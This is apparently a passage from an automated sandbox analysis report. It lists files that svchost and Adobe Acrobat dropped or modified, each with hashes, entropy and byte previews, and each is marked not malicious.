Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8337752006548333
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugg:gJjJGtpTq2yv1AuNZRY3diu8iBVqFG
MD5:	267DA47E7399F54969DFC9769AAC78A1
SHA1:	8897A4DFBAA5FD2750E7BA342DACBE99E77C6529
SHA-256:	33A43255951ABEADBCAB54DE95EA34E8B3DC88F9A3A2362D248FD3560D94E409
SHA-512:	B8621884431D929FFE13544EE7454847AB3FF37C85308EE7F7BC579BF8B417D56A577B1138627221490CCEB426E2BDA3A4C7F0D78157C3AD305EE06FD8EA42CF
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x403e9c1e, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584877484649129
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:Jaza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	B023673AA95DD046D2C02DDAAC2A8CB1
SHA1:	59B61EC48F29C163CFAABA1FC61F91F27063B61A
SHA-256:	768EAC445AE5522A832A051108EFE390C89372D45AF5C5A70501A2A0DB62A938
SHA-512:	69E402E93350364E7A85127D2470A7607CF6DB9B7E579ACA6A3DBBEADF87872E20AA183EF23EE3B75BA36053DC5383D0BCBCB4DC4F86E9B62FD299BC7F43F4C4
Malicious:	false
Preview:	@>..... ...............X\...;...{......................T.~......)...\|...&...\|..h.\|......)...\|..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................Ca...)...\|...................y..)...\|...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07850302577074146
Encrypted:	false
SSDEEP:	3:NetYecM+9i5e/EO0pCRXhll58Kgvvl/QoeP/ll:szJY/njz8KgR+t
MD5:	062947FF077D932B3C511B2A4C55179F
SHA1:	BF2078046FC91F22812DF366B3E6311325E17BD9
SHA-256:	5967D1C1F92BD41A0B2657465794361EBC853AD34B21D33DD93648066771671F
SHA-512:	5CEA89AF4059635525870778F40DE5F0FC1D8598B77C5F36831F5771A48C3EB9F1FA5CEB27EE3773F5BA8D5A15FA9A29244D51E455D80186C11279E50F6B46AE
Malicious:	false
Preview:	.........................................;...{...&...\|...)...\|...........)...\|...)...\|....'..)...\|...................y..)...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.205594627654292
Encrypted:	false
SSDEEP:	6:7vG+q2P92nKuAl9OmbnIFUt8OE1Zmw+OEZVkwO92nKuAl9OmbjLJ:7/v4HAahFUt8OE1/+OEn5LHAaSJ
MD5:	4842B5E652E33904ED8085E4830B59FE
SHA1:	EAE5BCF5C6F5936022F9FC4AD0BF7DA87010C19E
SHA-256:	0C9B1E87A3B024F2D5AEDFAE151F154F84A25FAAB6DD9BF8EEE689C3BC6A9D06
SHA-512:	F2A356036AB24906A87C92E5C2969BD09FB1A0B419C7432018B077D1FC868CDB51DAFBDCAD49841A0F1A59E900E8DE08B55A846EF7ACE4402447358B176FCF69
Malicious:	false
Preview:	2024/12/17-02:38:20.987 1d38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/17-02:38:20.990 1d38 Recovering log #3.2024/12/17-02:38:20.990 1d38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.205594627654292
Encrypted:	false
SSDEEP:	6:7vG+q2P92nKuAl9OmbnIFUt8OE1Zmw+OEZVkwO92nKuAl9OmbjLJ:7/v4HAahFUt8OE1/+OEn5LHAaSJ
MD5:	4842B5E652E33904ED8085E4830B59FE
SHA1:	EAE5BCF5C6F5936022F9FC4AD0BF7DA87010C19E
SHA-256:	0C9B1E87A3B024F2D5AEDFAE151F154F84A25FAAB6DD9BF8EEE689C3BC6A9D06
SHA-512:	F2A356036AB24906A87C92E5C2969BD09FB1A0B419C7432018B077D1FC868CDB51DAFBDCAD49841A0F1A59E900E8DE08B55A846EF7ACE4402447358B176FCF69
Malicious:	false
Preview:	2024/12/17-02:38:20.987 1d38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/17-02:38:20.990 1d38 Recovering log #3.2024/12/17-02:38:20.990 1d38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.137626147302293
Encrypted:	false
SSDEEP:	6:7bqq2P92nKuAl9Ombzo2jMGIFUt8Obj+Zmw+ObBJkwO92nKuAl9Ombzo2jMmLJ:7mv4HAa8uFUt8OP+/+OX5LHAa8RJ
MD5:	B68601EE4A41B62580D370D25A8B36F5
SHA1:	80736087E1E037519170634A0D9FAD030F8CDFF6
SHA-256:	B2331973C8BE167023C849881BD7B20B03DD58DFDA86AD18C94E86D2F8DD1FE0
SHA-512:	F060A42141364F8F80471F4DF378E82467E3957735D2844B4B143D4956AB738B59E458D2DEAF3CB5B6F292518C4C699DA111A2045B6864573495EF5D73879721
Malicious:	false
Preview:	2024/12/17-02:38:21.023 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/17-02:38:21.024 1db0 Recovering log #3.2024/12/17-02:38:21.025 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.137626147302293
Encrypted:	false
SSDEEP:	6:7bqq2P92nKuAl9Ombzo2jMGIFUt8Obj+Zmw+ObBJkwO92nKuAl9Ombzo2jMmLJ:7mv4HAa8uFUt8OP+/+OX5LHAa8RJ
MD5:	B68601EE4A41B62580D370D25A8B36F5
SHA1:	80736087E1E037519170634A0D9FAD030F8CDFF6
SHA-256:	B2331973C8BE167023C849881BD7B20B03DD58DFDA86AD18C94E86D2F8DD1FE0
SHA-512:	F060A42141364F8F80471F4DF378E82467E3957735D2844B4B143D4956AB738B59E458D2DEAF3CB5B6F292518C4C699DA111A2045B6864573495EF5D73879721
Malicious:	false
Preview:	2024/12/17-02:38:21.023 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/17-02:38:21.024 1db0 Recovering log #3.2024/12/17-02:38:21.025 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\53429dc8-99bf-40f3-a62c-1fa218ecceb5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4840c3.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ea8b7ab6-4db9-4ce2-87cb-b3d338ed20d8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056458808032778
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqasBdOg2Hy5Zcaq3QYiubxnP7E4TfF+:Y2sRdsGdMHMg3QYhbxP7np+
MD5:	7505F385B8EA7C47EA7A03BCC6246EF3
SHA1:	0D11D1335524BDB7BE6B05537B98ACC1F34DFF2C
SHA-256:	ACAD95BB7D43CC173A0A127F3F59E40A655A7353484E2CD7EE934B7B75F2E3EC
SHA-512:	8F7CD10C04DC45183BCD1E325CA253A53409562E5C330B44682A7AC83CD81A8BE4CDD5D3582307AC7E71E0564ED18CACFEA80B88CB1A5248C319DC3B64EC0FAB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378981115727407","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":593874},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237662998606331
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUiGJtX9E:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLR
MD5:	588A21938D62FCAE28D1B1A299EDCD8C
SHA1:	ADDF01F5D18B116045EE3070E701581DBBB91C20
SHA-256:	7A0AAB7B98E32C6E67D9AEE3074016D0AF8FBA9CA2866CF6B666D180928B026A
SHA-512:	CED12EDFBFA077E5E54708669C74EFB7322A39744658D61C2F91F52669E2F0A4A5E94E640D417F9DC1FE782FA92AD97DF18C871FE6A7830816632337095D9CC7
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177014414454703
Encrypted:	false
SSDEEP:	6:7rgq2P92nKuAl9OmbzNMxIFUt8OGZmw+O6kwO92nKuAl9OmbzNMFLJ:7Uv4HAa8jFUt8OG/+O65LHAa84J
MD5:	7E44E07D4180BCE6AC92FDB71A223A4B
SHA1:	8FBDF08F2E372E88E7A9649EB249C5DBACB012FC
SHA-256:	D615CBA6C490A9E9E3FA36B279313941195222FDCAF0FE2956C0AF447BDB02EE
SHA-512:	AC05499BE26EC585F1F66453F42356AA11E270972ADEC8A6F282B2B076B731F7E646C1A56D3EF636E1600D1310F0E6908B08EEC796868DE3EDEE42B108ED62D4
Malicious:	false
Preview:	2024/12/17-02:38:21.278 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/17-02:38:21.279 1db0 Recovering log #3.2024/12/17-02:38:21.279 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.177014414454703
Encrypted:	false
SSDEEP:	6:7rgq2P92nKuAl9OmbzNMxIFUt8OGZmw+O6kwO92nKuAl9OmbzNMFLJ:7Uv4HAa8jFUt8OG/+O65LHAa84J
MD5:	7E44E07D4180BCE6AC92FDB71A223A4B
SHA1:	8FBDF08F2E372E88E7A9649EB249C5DBACB012FC
SHA-256:	D615CBA6C490A9E9E3FA36B279313941195222FDCAF0FE2956C0AF447BDB02EE
SHA-512:	AC05499BE26EC585F1F66453F42356AA11E270972ADEC8A6F282B2B076B731F7E646C1A56D3EF636E1600D1310F0E6908B08EEC796868DE3EDEE42B108ED62D4
Malicious:	false
Preview:	2024/12/17-02:38:21.278 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/17-02:38:21.279 1db0 Recovering log #3.2024/12/17-02:38:21.279 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241217073825Z-174.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	2.0752048305801134
Encrypted:	false
SSDEEP:	192:/lQyM25/EUUgRdV9rdZU2HstTjhmf0RAwwBl5df6Z:TUydbdTHITjO0OwwBfV6Z
MD5:	794D979E13F7687134B9C884DA152DD8
SHA1:	7AF0AFABF4D27CFC163F538C6BE2698BB52F34BC
SHA-256:	3048C73D42066D6BE4B08245D2570F4D97D15AC800F8ED784A6C4F4A354187F0
SHA-512:	C924F98B2D7BFE4712FA3308FDA58D08479520AC31A288A3413FBBCF8263CA1CE5340EE6BCB20D261918F9B3FCFFC3D41A62068B57E2E9DFA579451458EA8B34
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklQfXblfllXlE/HT8kvl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKJTmT8e7NMa8RdWBwRd
MD5:	49CA0B642C7CAE6848A80AE07B37E059
SHA1:	1D057AB91A4C97080A19FCCC6F3CC553384A6023
SHA-256:	DE0ACF4C2942193A356A3699485783CF65B0285A28465D75B245FA436952F3D3
SHA-512:	FE1342361A7E40A3210B1F999BDF54044A77BB594A55EE9A241D39C4FBE139E9BDFD17506CB5AD5207E8D4F6C5C371B90CE7F28955F0C7B538003026D3C95B22
Malicious:	false
Preview:	p...... ..........c.VP..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2371973337041244
Encrypted:	false
SSDEEP:	6:kKo4LD9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:x2DImsLNkPlE99SNxAhUe/3
MD5:	EC33C204DD7338D952D5E6D7F2E14A63
SHA1:	E1FF4ADD94E68338D4EBAE3F06E59BA402F858C0
SHA-256:	D6932EA28DD61CC6250872CCD21EC6206376AAEBE464FF5CFB9CDD4634F71CF2
SHA-512:	25EDEB5CAC610B6F143E8BF2320A3998335F0A911175E0B1C6BEA5E57B5B75D91EB467318000822D581851AF12E01739FDE34A0A387936BA35904AA97B6E8392
Malicious:	false
Preview:	p...... ..........h.VP..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
